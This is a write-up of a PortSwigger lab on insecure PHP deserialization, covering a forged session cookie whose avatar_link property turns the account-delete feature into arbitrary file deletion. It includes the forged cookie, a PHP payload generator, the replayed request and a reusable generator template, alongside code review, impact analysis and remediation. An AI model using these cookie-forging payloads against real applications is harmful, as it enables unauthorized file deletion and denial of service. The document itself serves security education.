Table of Contents
- Summary
- Methodology
- Step 1: Inspect the Session Cookie
- Step 2: Identify the Feature That Consumes avatar_link
- Step 3: Forge a Cookie With a Modified avatar_link
- Step 4: Trigger the Delete Function
- Why This Worked
- Code Review Perspective
- Impact
- Remediation
- Key Takeaway
- Appendix: Tools and References
Summary #
While testing the application's session handling, I noticed that the session cookie was a Base64-encoded blob that decoded into a PHP serialized object representing the logged-in user:
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"...";s:11:"avatar_link";s:24:"/home/wiener/avatar.png";}
Of the three properties on the object, one in particular avatar_link looked like a filesystem path that the application would consume on the server side. If the application reads or operates on that path during request handling, then an attacker who can re-serialize the cookie controls a property that drives a real filesystem operation.
The central question becomes: which feature consumes avatar_link, and what does it do with the value? The "delete account" function turns out to be the answer. It deletes the user's avatar by path, takes that path from the deserialized session object, and trusts it without restriction which makes it a working primitive for arbitrary file deletion under the web server's permissions.
Methodology #
The testing approach broke down as follows:
- Capture and decode the session cookie to identify its format.
- Enumerate the properties on the deserialized object and reason about which ones the application might use as more than passive identifiers.
- Walk the application's authenticated functionality and look for features that plausibly act on those properties file reads, path joins, deletes, redirects, etc.
- Construct a modified serialized object pointing the suspect property at a target outside the user's own directory.
- Re-encode and submit the modified cookie, then trigger the feature that consumes the property.
The general principle: when an application stores its session as a serialized object on the client side with no signature, every property of that object is attacker-controlled. The interesting question is not whether the cookie can be tampered with it can but which properties drive server-side behavior. Most properties are harmless identifiers; one or two will be load-bearing. Those are the targets.
Step 1: Inspect the Session Cookie #
After logging in as wiener:peter, the browser stored a session cookie with the following value (URL-decoded):
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ4MThreG54aG5xNWJobHF4bjVpZjQ0dGwydjYyMTQzaiI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL3dpZW5lci9hdmF0YXIucG5nIjt9
Base64-decoding it produced an unmistakable PHP serialized object:
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"x18kxnxhnq5bhlqxn5if44tl2v62143j";s:11:"avatar_link";s:23:"/home/wiener/avatar.png";}
Three things matter here. First, the cookie carries a serialized object meaning the application calls unserialize() on whatever the client sends back, which is the primitive needed for object injection. Second, there is no signature: the cookie is a plain Base64-wrapped blob with no HMAC, no JWT envelope, nothing protecting its integrity. Third, one of the properties is a filesystem path, which is the single most interesting kind of property to find on a deserialized object paths tend to get used.
Step 2: Identify the Feature That Consumes avatar_link #
A serialized object is only useful if some part of the application actually reads the property of interest. Walking the authenticated UI surfaced a "Delete account" button on the /my-account page, which submits the following request:
1POST /my-account/delete HTTP/2
2Host: 0a82004b042dd43ead82a1d200b9008c.web-security-academy.net
3Cookie: session=<base64 serialized User>
4Content-Length: 0
The natural behavior for a delete-account flow is to clean up associated files alongside the database row, and the only file path the application has on hand for the user is avatar_link. The hypothesis is that /my-account/delete reads the avatar_link property off the deserialized session object and passes it to a file-deletion function which would mean the path stored in the cookie ends up as the argument to something like unlink() on the server.
This is exactly the pattern the lab description hints at when it mentions "a certain feature invokes a dangerous method on data provided in a serialized object." The remaining work is to confirm the hypothesis by changing the path and observing the result.
Step 3: Forge a Cookie With a Modified avatar_link #
The modified payload swaps avatar_link to point at the lab's target file. The other two properties stay unchanged so the session still authenticates as wiener:
1<?php
2class User {
3 public $username = 'wiener';
4 public $access_token = 'x18kxnxhnq5bhlqxn5if44tl2v62143j';
5 public $avatar_link = '/home/carlos/morale.txt';
6}
7echo urlencode(base64_encode(serialize(new User())));
Running this produced the new cookie value:
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ4MThreG54aG5xNWJobHF4bjVpZjQ0dGwydjYyMTQzaiI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9
Two details matter when reconstructing this kind of payload by hand. The class name has to match exactly, including the length prefix in O:4:"User" PHP encodes the class name length as part of the format, so a wrong name or wrong length produces a parse failure rather than an injection. The same applies to each string property: s:23:"/home/carlos/morale.txt" declares 23 bytes, which has to match the actual length of the path. Generating the payload through serialize() rather than typing it by hand avoids both of these mistakes.
Step 4: Trigger the Delete Function #
Replacing the session cookie in Burp Repeater with the forged value and replaying the delete request:
1POST /my-account/delete HTTP/2
2Host: 0a82004b042dd43ead82a1d200b9008c.web-security-academy.net
3Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ4MThreG54aG5xNWJobHF4bjVpZjQ0dGwydjYyMTQzaiI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9
4Content-Length: 0
The server responded with a redirect indicating the account-deletion flow had completed, and the lab registered as solved confirming that morale.txt had been removed from Carlos's home directory. The delete endpoint took the avatar_link property from the deserialized cookie and passed it directly to a file-delete operation, with no check that the path belonged to the account being deleted or even to the user's own directory.
The backup gregg:rosebud account mentioned in the lab description was not needed. The vulnerability is reachable from any authenticated session, because the authenticated session is the attack vector not a target.
Why This Worked #
The application made two compounding mistakes. The first is treating client-held serialized data as trusted input: a session cookie that the client can decode, modify, and re-encode at will is by definition not a trustworthy source for any value the server is going to act on. The second is letting a user-controlled path drive a privileged filesystem operation with no boundary check.
Either mistake on its own would still be a problem. Trusted-input deserialization with no sensitive sinks would be a latent risk waiting for the next gadget chain to land. A privileged file-delete function reading from an authenticated server-side session would be a much narrower issue limited to whatever the application itself decided to put in the session. The combination is what produces arbitrary file deletion: the client controls the path, and the server treats that path as if the application had set it.
The dangerous mental model is "the cookie represents the current user, therefore the values inside it describe the current user." That mental model is reasonable when the session is server-side the application populates the session and the application reads it. It breaks completely when the session is a serialized object on the client, because at that point every property is whatever the attacker most recently wrote to it.
Code Review Perspective #
The vulnerable pattern is small and easy to recognize once you have seen it. The progression below shows how each layer of broken assumption stacks.
Vulnerable Example Direct Pass-Through #
1<?php
2$user = unserialize(base64_decode($_COOKIE['session']));
3
4if (isset($_POST['delete'])) {
5 unlink($user->avatar_link);
6 delete_account($user->username);
7 header('Location: /goodbye');
8 exit;
9}
The cookie is decoded and unserialized with no signature check, no class allowlist, and no validation. The avatar_link property is then passed straight to unlink(). The class instantiated by unserialize() is whatever the cookie says it is, the property is whatever the cookie says it is, and the file deleted is whatever the cookie says it is.
Less Obviously Broken Validation on the Wrong Field #
A developer concerned about cookie tampering might add a sanity check on the username:
1<?php
2$user = unserialize(base64_decode($_COOKIE['session']));
3
4if ($user->username !== $_SESSION['authenticated_user']) {
5 abort(403);
6}
7
8if (isset($_POST['delete'])) {
9 unlink($user->avatar_link);
10 delete_account($user->username);
11}
This looks defensive it confirms the cookie matches the authenticated user but it does not constrain avatar_link at all. The check protects identity, not behavior. An attacker keeps username set to their own account and changes only the property the application actually acts on. The validation is correct and irrelevant at the same time.
Weak Fix Filtering the Path #
A common reaction is to filter the path string:
1<?php
2if (strpos($user->avatar_link, '..') !== false) {
3 abort(400);
4}
5
6unlink($user->avatar_link);
Filtering .. does not address the issue. The lab payload (/home/carlos/morale.txt) contains no traversal sequences it is an absolute path that points wherever the attacker wants it to point. Filtering the wrong shape of input is a classic case of fixing a symptom rather than the underlying design flaw, which is that user-controlled paths are reaching unlink() in the first place.
Secure Implementation Derive the Path Server-Side #
The fix is to stop letting the cookie tell the application which file to delete. The avatar path can be reconstructed from the username and the known avatar directory at the moment of use:
1<?php
2$user = unserialize(base64_decode($_COOKIE['session']));
3
4if ($user->username !== $_SESSION['authenticated_user']) {
5 abort(403);
6}
7
8if (isset($_POST['delete'])) {
9 $avatar_dir = realpath('/var/www/avatars');
10 $avatar_path = realpath($avatar_dir . '/' . basename($user->username) . '.png');
11
12 if ($avatar_path && str_starts_with($avatar_path, $avatar_dir . DIRECTORY_SEPARATOR)) {
13 unlink($avatar_path);
14 }
15
16 delete_account($user->username);
17}
The cookie no longer has any influence over which file gets deleted. The username is reduced to a basename to prevent it from being used as a traversal vector, the resulting path is canonicalized, and the canonical result is verified to fall inside the avatar directory before any filesystem operation runs.
Even Better Server-Side Sessions #
The architectural fix is the same one that addresses every variant of this vulnerability class:
1<?php
2session_start();
3
4if (!isset($_SESSION['username'])) {
5 header('Location: /login');
6 exit;
7}
8
9if (isset($_POST['delete'])) {
10 delete_account_and_avatar($_SESSION['username']);
11}
PHP's native session handling stores the session server-side and gives the client an opaque session ID. There is no serialized object on the client, no unserialize() call on attacker-controlled data, and no opportunity for the client to influence which file the server operates on. The vulnerability class is removed rather than mitigated.
Impact #
In this lab the demonstrated impact was a single targeted file deletion (/home/carlos/morale.txt), but the primitive is arbitrary file deletion as the web server user, which is significantly broader.
Realistic targets in a similar production environment include the application's own files (/var/www/html/index.php, configuration files, autoloaders) deleting a routing or bootstrap file is enough to take the application down or, depending on the framework, to bypass authentication on subsequent requests. Session storage directories, cache files, log files, and any user-uploaded content the web server can write to are also reachable. On systems where the web server is permitted to write into directories used by other services (queue spool directories, shared upload directories, certificate stores), the blast radius extends to those services as well.
There is also a denial-of-service angle that does not require knowing any specific filename: deleting /var/www/html/index.php or its equivalent in any framework with a single front controller is enough to break the application entirely. The attacker does not need read access to confirm the file exists; the path is well-known.
The pattern can also chain. An attacker who can delete an arbitrary file can sometimes promote that primitive to file write or code execution by removing a file the application later recreates with attacker-influenced contents, or by removing a configuration file so that a less-restrictive default takes over. Whether any of those chains work depends on the specific application, but file deletion is rarely as bounded an impact as it first appears.
Remediation #
The two layered defenses both need to apply. Stopping at either one leaves a viable path.
The architectural fix is to remove unserialize() from the request path. PHP's native server-side sessions are the simplest replacement: the client holds an opaque session ID and the server holds the data, which means the attacker cannot influence object structure or property values at all. If client-side state is genuinely required, a signed JWT carrying JSON claims is the correct primitive json_decode does not invoke object methods, so the entire object-injection class disappears.
Alongside that, never let user-controlled paths reach filesystem sinks. The avatar deletion in this lab does not need any input from the client to function correctly: the username is already known from the authenticated session, and the avatar storage location is application-controlled. Deriving the path server-side at the moment of use, applying realpath() to canonicalize it, and verifying the result falls inside the expected directory removes the attack surface even if the deserialization weakness somehow remained.
If the deserialization pattern cannot be removed in the short term, the immediate mitigation is to add an HMAC signature over the cookie (signed with a server-held secret that is not exposed through any other endpoint) and to refuse any cookie whose signature does not verify. This does not fix the underlying design it only buys time but it does prevent the trivial in-place tampering that this lab exploits.
Key Takeaway #
Deserialization vulnerabilities are not always about gadget chains and remote code execution. When a serialized object lives on the client side without integrity protection, every property is an attacker-controlled input, and the interesting question is which of those properties the application uses for something dangerous. A property that holds a filesystem path, a URL, a redirect target, a class name, or a database identifier is a candidate sink without any cryptographic gymnastics required. Read the object, list the properties, and ask which of them the server is going to act on that is where the vulnerability lives.
Appendix: Tools and References #
Lab #
- PortSwigger Web Security Academy Using application functionality to exploit insecure deserialization https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization
Tools Used #
Burp Suite Intercepting proxy used to capture the session cookie and replay the modified delete request through Repeater. https://portswigger.net/burp
PHP CLI Used as a one-off serialization helper. A few lines of PHP defining the User class and calling serialize() produces a payload with the correct class name, property count, and string-length prefixes without manual byte counting.
https://www.php.net/manual/en/features.commandline.php
Standard CLI utilities base64, python3 -c "import urllib.parse; ..." for ad-hoc encoding during cookie reconstruction.
Background Reading #
-
PortSwigger Insecure Deserialization https://portswigger.net/web-security/deserialization
-
PortSwigger Exploiting PHP deserialization vulnerabilities https://portswigger.net/web-security/deserialization/exploiting
-
PHP Manual
unserialize()https://www.php.net/manual/en/function.unserialize.php -
OWASP Deserialization Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
-
PHP Manual Sessions https://www.php.net/manual/en/book.session.php
Reusable Payload Generator #
A minimal PHP one-liner for generating modified User cookies. Adjust the property values to match the target's session structure and the desired avatar_link payload:
1php <<'EOF'
2<?php
3class User {
4 public $username = '<USERNAME>';
5 public $access_token = '<ACCESS_TOKEN>';
6 public $avatar_link = '<TARGET_PATH>';
7}
8echo urlencode(base64_encode(serialize(new User())));
9EOF
The class name and property names must match the application's User class exactly. The Base64 output is what goes into the session cookie value; the URL encoding handles any +, /, or = characters that would otherwise need to be escaped at the HTTP layer.